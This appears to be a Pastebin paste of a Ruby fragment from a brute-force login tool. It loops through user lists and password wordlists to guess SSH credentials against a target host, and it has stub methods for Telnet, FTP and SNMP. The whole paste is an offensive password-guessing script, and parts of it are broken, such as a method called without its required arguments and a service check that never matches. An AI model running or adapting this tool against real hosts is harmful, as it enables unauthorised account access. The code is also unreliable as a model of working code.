Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- def service_selection
- if @options[:service] == 'list'
- return print_message("Service Types:\n- FTP\n- SSH\n- TELNET\n- SNMP")
- end
- @service = ssh_session if @options[:service] == "SSH".downcase
- end
- def pass_service_session
- @password_number = 1
- @user_number = 1
- @user.each do |user|
- @wordlist.each do |password|
- user = user.chomp
- password = password.chomp
- ssh_session(user, password)
- @password_number += 1
- end
- @user_number += 1
- end
- end
- def ssh_session(user, password)
- begin
- state = Net::SSH.start(@options[:host].to_s, :password => password, :port => @options[:port], :username => user)
- if state.open?
- puts "Authentication successful with password: #{password}"
- exit 1
- end
- rescue Net::SSH::AuthenticationFailed
- puts "Authentication failed: Host => #{@host}, User => #{user}, Password => #{password}"
- end
- end
- def telnet_session(user, password)
- # ...
- end
- def snmp_session(community)
- # ...
- end
- def ftp_session(user, password)
- # ...
- end
Add Comment
Please, Sign In to add comment